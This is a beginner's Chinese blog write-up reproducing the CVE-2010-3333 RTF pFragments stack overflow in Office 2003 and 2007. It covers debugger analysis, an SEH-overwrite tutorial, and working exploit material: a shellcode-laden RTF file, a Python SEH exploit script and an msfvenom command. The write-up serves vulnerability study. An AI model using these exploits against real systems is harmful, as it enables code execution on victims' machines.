CVE-2010-3333栈溢出漏洞复现新手向

写在前面

之前搞的二进制一直都是Linux下的,这是第一次复现Windows漏洞。整体思路是参考《漏洞战争》这本书。虽然看的blog或者书籍都说了是非常适合小白学习的教程,但只要自己亲自开始弄,无论别人的教程写的多么细致,调的过程中总会遇见更加新手的问题。所以还是要动手调,动手查资料,自己解决问题。写这篇blog的目的,一是补充一些我在看教程时候遇到的新手问题,方便其他小白;二是希望锻炼自己独立解决问题的能力。

在《漏洞战争》这本书里,写到CVE-2010-3333漏洞适用于Office2003和Office2007等多个版本,但是触发的原理不大相同,于是我就分别探究了两个版本的PoC。接下来写的顺序也是我自己的学习过程:

1
2
3
4
5
2003版的PoC寻找漏洞点,根据PoC修改成EXP

了解SEH,通过一个例子利用SEH

2007版的PoC寻找漏洞点,根据PoC修改成EXP

Office 2003的漏洞复现

rtf文件格式

rtf形式上类似于xml,通过控制字编辑属性。从msf生成的msf.rtf来看,各个字段的含义如下:(来自漏洞战争)

\rtf1:rtf版本

\shp:绘画对象

\*\shpinst:图片引用

\sp:绘画对象属性定义

\sn pFragments:定义属性名称,pFragments段是图形的附加部分,属于数组结构。允许图形包含多个路径和分段,该属性列出图形各个碎片

\sv:定义属性值

更多的rtf文件知识参考https://zhuanlan.zhihu.com/p/31345299

定位漏洞

主要采用回溯函数调用关系来对漏洞定位。PoC为msf.rtf,是参照《漏洞战争》利用metasploit生成的。

1.打开word,以附加进程的方式使用windbg进行调试。这里pid是WINWORD.EXE对应的pid,-g参数是忽略掉初始断点,如果不加这一参数会停留在int 3处。

1
windbg.exe -g -p pid

2.打开msf.rtf文件,windbg停在mso.dll中的30e9eb88处:

将这条指令简化成mov [edi],[esi]。停在这里说明edi或者esi中的某个值不是合理地址,或者权限不对。用!address edi查看edi中地址的信息:

发现这个位置是只读权限,而mov这条指令要向其中写入内容,造成了程序崩溃。

结合IDA,查看30e9eb88所在函数是sub_30e9eb62。

3.关闭windbg,用windbg.exe -p pid再次附加到WINWORD.EXE,不加-g参数是为了方便设置断点。在30e9eb88设置断点,并用g命令让程序继续执行到断点:

打开msf.rtf,程序停在断点处,通过kv命令或者alt+6,查看函数调用栈:

当前执行的语句在第一行,即mso!Ordinal6463+0x64d,当前函数栈桢的ebp是00183d88,返回地址是30f4cdbd。这里windbg说明了“Following frames may be wrong”,信息未必完全准确,就暂且认为30f4cdbd之前调用了30e9eb88所属的sub_30e9eb62函数。由于函数在调用之前压入的返回地址是下一条指令,所以用ub命令查看30f4cdbd之前的汇编指令:

在30f4cdb8处,调用了一个函数,但这个函数并不是sub_30e9eb62。我在这里疑惑了很久,光猜是没什么用的,还是继续调才能解决问题。

4.用windbg.exe -p pid再次打开,在30f4cc5d设置断点,F10单步不步入运行。在30f4cc93处,call [eax+0x1c]显示的正是30e9eb62:

通过汇编查看调用该函数的参数:

其中第二个参数ecx为ebp-0x10,只要写入0x10+4+4个字节就能覆盖到返回地址。

F8步入到这个函数中执行,第二个参数赋值给了edi,而且在执行到30e9eb88之前,edi的值都没有发生变化。也能看到,这个函数进入的时候是push的edi,而不是ebp,可以猜想windbg是通过识别ebp来识别不同栈桢的,这也就是为什么30f4cc5d这个函数没有在kv中显示出来。

在30e9eb6f处,ecx被赋值为[eax+8],这个值是在rtf文件中输入的acc8。

接着执行到30e9eb83,查看esi的内容:

esi的内容就是在rtf文件中acc8后面的乱码。也就是说要把esi中的这些乱码复制到edi对应的地址中,复制多少呢?rep的循环次数由ecx确定,ecx是0xc8a8/4(shr ecx,2),远大于edi对应的0x10大小(ebp-0x10),由此造成栈溢出。

6.总结一下就是,30f4cdbd处调用了sub_30f4cc5d函数;sub_30f4cc5d在30f4cc93处通过call [eax+0x1c]调用了sub_30e9eb62,且第二个参数为ebp-0x10;sub_30e9eb62在30e9eb88处将esi地址中的内容复制到edi地址中,复制的大小由pFragments中的数据指定,且没有对长度进行检查,造成栈溢出,而edi就是上一个函数sub_30f4cc5d传过来的参数ebp-0x10,这个ebp是sub_30f4cc5d的ebp,因此溢出结果会影响sub_30f4cc5d函数的返回。

生成EXP

前面说到覆盖到返回地址需要0x14+4字节,rtf文件里写的是十六进制,也就是两个字符是一个字节,所以在acc8之后先随意填充0x14个字节,也就是40个字符,然后写入返回地址。在《漏洞战争》里返回地址覆盖成了jmp esp的地址。另外还要注意sub_30f4cc5d函数返回时用的是ret 14h指令,即ret之后再从栈中pop 0x14个字节,那么在返回地址之后再填充40个字符之后,写入shellcode即可。

1
2
3
4
5
6
{\rtf1{}{\shp{\*\shpinst{\sp{\sn pfragments}{\sv
1;1;11111111222211111111111111111111111111111111111111111245fa7f00000000000000
0000000000000000000000000031d2b230648b128b520c8b521c8b42088b72208b12807e0c337
5f289c703783c8b577801c28b7a2001c731ed8b34af01c645813e4661746175f2817e0845786974
75e98b7a2401c7668b2c6f8b7a1c01c78b7caffc01c76879202001686661697268204e657489e1fe
490b31c05150ffd7}}}}}

SEH知识及利用

由于Office2007的利用会用到SEH的知识,因此先了解一下SEH。

关于SEH

SEH是windows中的异常处理例程。SEH包含两个结构:

1
2
next SEH    指向下一个SEH
SEH handler 指向处理异常的函数

通常我们在编写程序时会用try……catch……捕捉并处理异常,执行时就会生成SEH结构,并压入到当前的函数栈桢中。windows系统有默认的异常处理函数,就是常见的弹框提示XX程序停止运行。

程序中的SEH结构以单向链表的形式组织起来,最后一个SEH结构的next SEH为0xffffffff,SEH handler 为windows的异常处理函数。

当程序发生异常时,KiUserExceptionDispatcher函数调用RtlDispatchException函数对线程的SEH链进行遍历,如果找到能够处理异常的回调函数,进行unwind操作将之前的SEH结构体从链表中拆除,并执行当前SEH的异常处理函数。如果线程的SEH不能处理这个异常,且用户曾使用SetUnhandledExceptionFilter注册过进程异常处理,则调用之;否则调用Windows默认的异常处理函数。

异常处理函数SEH handler的参数有4个

1
2
3
4
pExcept:指向一个结构体EXCEPTION_RECORD
pFrame:指向SEH结构体
pContext:指向Context结构体,记录了寄存器的状态
pDispatch

SEH的利用

由于SEH结构都是存放在栈中,栈溢出漏洞能够对其进行利用。

先来调一个小程序seh_test.exe,来自Netfairy师傅的教程第三篇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include<windows.h>
#include<string.h>
#include<stdio.h>
void test(char *str)
{
char buf[8];
strcpy(buf,str);
}
int main()
{
FILE *fp;
int i;
char str[30000];
LoadLibrary("Netfairy.dll");
if((fp=fopen("test.txt","r"))==NULL)
{
printf("\nFile can not open!");
getchar();
exit(0);
}
for(i=0;;i++)
{
if(!feof(fp))
{
str[i]=fgetc(fp);
}
else
{
break;
}
}
test(str);
fclose(fp);
getchar();
return 0;

程序中向str中读入文件内容,如果test.txt内容超过30000字节,将有机会溢出到SEH结构,在strcpy后会将test函数的返回地址覆盖,进而触发异常,执行我们构造好的SEH handler。

1.用windbg打开seh_test.exe,在main函数中设置断点,!exchain命令查看正常的SEH链。

1
2
3
4
5
6
0:000> !exchain
006fffcc: ntdll!_except_handler4+0 (77342bd0)
CRT scope 0, filter: ntdll!__RtlUserThreadStart+39ce3 (7736d76c)
func: ntdll!__RtlUserThreadStart+39d2a (7736d7b3)
006fffe4: ntdll!FinalExceptionHandlerPad24+0 (7734f308)
Invalid exception stack at ffffffff

可见正常的SEH链是从0x6fffcc开始的,可以通过栈溢出修改这里的next SEH和SEH handler。

利用的步骤是:确定填充字节数->修改handler为pop,pop,ret的地址;next SEH为jmp 6->构造shellcode

2.填充字节数

为了方便确定字节数,写了一个产生随机字符的python脚本,由此生成test.txt。脚本中先将str的30000个字符填充为a后,之后的数据用随机字符填充。

1
2
3
4
5
6
7
8
def generate_random_str(randomlength=16):
random_str = ''
base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
length = len(base_str) - 1
for i in range(randomlength):
random_str += base_str[random.randint(0, length)]
return random_str
payload =30000*'a'+generate_random_str(1000)

在test的401513设置断点并用!exchain查看SEH中内容 。

这里遇到一个坑,因为使用dev-c++编译的,它的编译器总是把char数组放在高地址,所以str溢出的话会覆盖其他变量,包括fp。为了让feof正常进行,要把fp覆盖成原本的地址。在main的4015b1设置断点,fp的地址为ebp-0x10,查看其值并修改payload:

1
payload =30000*'a'+'\x60\x46\xc8\x74'+generate_random_str(1000)

查看SEH:

1
2
3
0:000> !exchain
006fffcc: 77686c69
Invalid exception stack at 74305168

即next SEH被修改为74305168,即t0Qh,由于是小端模式,实际为hQ0t。在test.txt里查找hQ0t,其偏移为30242

修改payload为:

1
payload =30000*'a'+'\x60\x46\xc8\x74'+238*'b'+'\x90\x90\x90\x90'#先将SEH填为nop

在windbg里选择restart,发现这个长度不足以覆盖到SEH,根据调试情况修改payload长度,最终填充为:

1
payload =30000*'a'+'\x60\x46\xc8\x74'+257*'b'+'\x90\x90\x90\x90'#先将SEH填为nop

3.修改SEH

之所以修改handler为gadget地址,是因为前面提到,异常处理函数有4个参数,其中第二个就是SEH结构体pFrame。也就是说在执行handler时,栈上有一个返回地址和4个参数,前两个pop弹出了返回地址和pExcept,ret对应的就是pFrame的地址,也就是回到了当前SEH结构体在栈中的地址。这个地址也对应于next SEH字段的地址。

在next SEH位置写入jmp 6(eb 06)指令,jmp 6是由于执行到6fffcc时,eip为下一条指令地址即6fffce,jmp 6相当于eip + 6,即eip= 6fffd4。即接下来就会去执行SEH结构体之后的shellcode。

由于大部分库都加入了safeseh的保护机制,所以需要找一个没有safeseh且有poppopret指令的二进制文件。因为执行到SEH handler时,如果handler所在的模块开了safeseh,这个机制会检查handler的地址是否属于该dll的SEH映射表(gadget的地址肯定不在表里),如果不在就会终止异常。safeSEH细节,参考safeseh。这里用的是师傅自己写的dll。

考虑到shellcode长度较大,把shellcode写在前面30000字节中,然后在6fffd4中用jmp跳转到shellcode处。这里需要注意的是jmp分为short near和far,eb 06就属于short短跳转;如果超过两个字节但在同一个段里,用e9 near近跳转;如果已经不在一个段里,就用ea far远跳转。这里要用e9,而且jmp后面的参数也是以小端形式写入的。
4.生成shellcode
由于本程序是32位的,所以shellcode也要用x86的payload,metasploit生成shellcode:

1
msfvenom -a x86 --platform windows -p windows/messagebox TEXT="hello world!" -b "\x00\x1a" -f python

5.最终的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
filename="test.txt"
myfile=open(filename,'w')
buf = ""
buf += "\xba\xbd\xef\xb1\xd3\xda\xd9\xd9\x74\x24\xf4\x5e\x33"
buf += "\xc9\xb1\x43\x31\x56\x15\x83\xee\xfc\x03\x56\x11\xe2"
buf += "\x48\x36\x5a\x48\x6b\xbd\xb9\x9b\xba\xec\x70\x14\x8d"
buf += "\xd9\x11\x50\x9c\xe9\x52\x10\x52\x81\x13\xc1\xe1\xd3"
buf += "\xd3\x72\x8b\xfb\x68\xb2\x4b\xb3\x76\xce\x58\x12\x86"
buf += "\xe1\x61\x44\xe8\x8a\xf1\xa3\xcd\x07\x4c\x90\x86\x4c"
buf += "\x66\x90\x99\x86\xfd\x2a\x82\xdd\x5b\x8b\xb3\x0a\xb8"
buf += "\xff\xfa\x47\x0a\x8b\xfc\xb9\x43\x74\xcf\x85\x5f\x26"
buf += "\xb4\xc6\xeb\x30\x74\x09\x1e\x3e\xb1\x7d\xd4\x7b\x41"
buf += "\xa6\x3c\x09\x58\x2d\x66\xd5\x9b\xd9\xf0\x9e\x90\x56"
buf += "\x77\xfa\xb4\x69\x6c\x70\xc0\xe2\x73\x6f\x40\xb0\x57"
buf += "\x73\x32\xfa\x25\x83\x9d\x28\xc0\x71\x54\x12\xba\xf7"
buf += "\x29\x9d\xd6\x5a\x5e\x3e\xd9\xa4\x61\xc8\x60\x5f\x25"
buf += "\xb5\xb2\xbd\x2a\xcd\x5e\x66\x9f\x39\xd0\x99\xe0\x45"
buf += "\x65\x20\x17\xd2\x19\xc7\x07\x63\x89\x24\x7a\x4d\x2d"
buf += "\x23\x0f\xe2\xc8\xc1\xdf\xdf\x9a\x7a\x04\xea\x13\x64"
buf += "\x12\x15\x76\x6d\x12\x2b\x28\xd6\x8c\x0e\x85\x94\x4a"
buf += "\x52\x31\xb7\xbc\x34\xc6\xc8\xc2\xa3\x57\x4f\x65\x14"
buf += "\xcf\xce\xf2\x31\x4d\x79\xb0\xdc\x22\x0a\x7b\xc4\x4c"
buf += "\xb0\x5f\xf0\xc5\xaa\xc8\x5c\xf5\x0c\x29\x35\x87\x20"
buf += "\x4d\xe4\x0f\xd6\xad\x91\xa0\x40\xc6\x38\x52\xfd\x27"
buf += "\x0a\x22\xb1\x63\x80\xbb\xab\x5d\x4a\xe9\x78\xcf\x38"
buf += "\xf2\xaf\xde\x7c\x5c\xaf\x74\x75"
filedata="A"*29600+buf
filedata = filedata.ljust(30000,"B")
filedata +='\x60\x46\x8a\x74'+"c"*257+"\xeb\x06\x90\x90" + '\x44\x13\x02\x50'+'\xe9\xff\xfc\xff\xff'
myfile.write(filedata)
myfile.close()

Office 2007的漏洞复现

PoC仍然使用2003的PoC。

定位漏洞

1.打开word,用windbg.exe -g -p pid附加到winword.exe
2.打开msf.rtf(同2003),停在:

1
2
3
4
5
6
7
8
9
(240.a54): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=3c524228 ebx=00000000 ecx=0017ff5c edx=00000000 esi=034f0600 edi=00180118
eip=32cf3814 esp=0017ff10 ebp=0017ff10 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Common Files\Microsoft Shared\office12\mso.dll -
mso!Ordinal7356+0x1315:
32cf3814 8b4804 mov ecx,dword ptr [eax+4] ds:002b:3c52422c=????????

在32cf3814的指令中,eax+4不是一个合法地址。通过汇编窗口向上回溯eax的来源:

1
2
3
4
5
6
7
8
9
10
11
32cf37f8 0000            add     byte ptr [eax],al
32cf37fa 34c2 xor al,0C2h
32cf37fc 0000 add byte ptr [eax],al
32cf37fe 3442 xor al,42h
32cf3800 b301 mov bl,1
32cf3802 e97cffffff jmp mso!Ordinal7356+0x1284 (32cf3783)
32cf3807 55 push ebp
32cf3808 8bec mov ebp,esp
32cf380a 8b450c mov eax,dword ptr [ebp+0Ch]
32cf380d 8d04c52038cf32 lea eax,mso!Ordinal7356+0x1321 (32cf3820)[eax*8]
32cf3814 8b4804 mov ecx,dword ptr [eax+4] ds:002b:3c52422c=????????

上一条指令里对eax进行了赋值:eax = *(0x32cf3820+eax*8),其中eax=[ebp+0xc],也就是调用当前函数时传入的第二个参数arg2。根据calls窗口,找到调用当前函数(简称为Ordinal7356)的位置:

可见在Ordinal2605中调用了Ordianal7356,压入的第二个参数为[ebp+8],即这个值是上一个函数传入的第一个参数,接着通过calls回溯:

在Ordinal2605+0x33db调用了Ordial2605+0x323c,arg1为ebp-0x10,是一个局部变量。为了回溯这个变量,使用IDA查看:

在调用[eax+0x1c]时,ebp-0x10作为arg2,这里有可能对它进行修改。

3.重新进入调试,在32e595a1下断点并进入:

由于windbg需要符号表(pdb)才能对函数名进行解析,我的windbg比较原始,就用IDA来辅助查看:

通过memcpy向dst复制,复制的size就是传入的第二个参数,由于没有检查size的大小,造成了栈溢出。运行到memcpy之前查看dst的地址为0x17ff54。通过!exchain查看SEH链:

1
2
3
0:000> !exchain
0018698: 37714836
Invalid exception stack at 71482571

说明next SEH 0x181698处被覆盖为了0x71483571,由此可以确定溢出点和SEH之间的距离为0x1744.

4.总结一下就是,在327c00c函数中,memcpy没有对size进行检查。可以利用这个漏洞,覆盖掉这个函数的返回地址为无效地址,从而触发SEH异常处理,进而执行我们事先准备好的shellcode。

生成EXP

修改msf.rtf,把next SEH处修改为jmp 6;SEH handler修改为pop pop retn的gadget。

其中gadget的查找方式是在OD中,通过SAFESEH插件查看哪些模块没有开启SEH保护,即/safeseh off。在这样的库中通过ctrl+s查找gadget。这里用的是ntdll.dll中的0x78e5131d

shellcode则是利用seh_test中的shellcode,用encode(‘hex’)转换为普通字符。

总结

这次复现是通过PoC反向推漏洞点,再修改PoC为EXP。对于这种大型软件的漏洞,很难做到搞懂软件的代码,而且Office并不开源,读IDA中的反编译也有一定难度。这次我只是做了简单的复现,探究的也很浅。希望后续的漏洞复现能够继续深入,在掌握软件的基本逻辑后再探究漏洞的复现,效果会更好些。